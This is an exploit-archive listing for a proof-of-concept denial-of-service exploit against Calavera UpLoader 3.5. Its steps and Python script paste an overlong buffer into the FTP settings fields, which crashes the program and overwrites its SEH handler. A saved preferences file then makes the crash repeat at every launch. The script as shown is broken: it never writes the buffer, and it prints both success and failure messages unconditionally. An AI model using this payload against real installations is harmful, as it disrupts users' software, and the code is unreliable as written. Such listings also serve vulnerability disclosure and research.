Calavera UpLoader 3.5 Denial Of Service

Calavera UpLoader version 3.5 proof of concept denial of service exploit.

MD5 | d8cda795f1253d1d66ed67c97b63dd29

# Exploit Title: Calavera UpLoader 3.5 - 'FTP Logi' Denial of Service (PoC + SEH Overwrite)
# Date: 2020-07-20
# Author: Felipe Winsnes
# Software Link:
# Version: 3.5
# Tested on: Windows 7 (x86)

# Blog:

# Sadly enough, this vulnerability is not exploitable as there are no friendly PPR addresses available and
# yet the vulnerability is triggered with additional padding == can't use addresses with null values.

# Proof of Concept:
# 1.- Run the python script, it will create a new file "poc.txt".
# 2.- Copy the content of the new file 'poc.txt' to clipboard.
# 3.- Open the Application.
# 4.- Click on "Settings".
# 4.- Paste contents of the generated file into the parameters "FTP Address", "Username" and Password". Furthermore, check the box with the statement "Check to save password in preferences".
# 5.- Crashed.
# 6.- As uploadpref.dat is generated, every time the application opens it will crash, with the SEH values being overwritten. In order to stop this behavior simply delete the file.

# If the contents are only pasted into "Password", the application will only crash once without creating uploadpref.dat.

buffer = "A" * 477 + "BBBB" + "CCCC" + "\xff" * 2000

f = open ("poc.txt", "w")
print "[+] The file has been created successfully!"

print "[!] There has been an error while creating the file."

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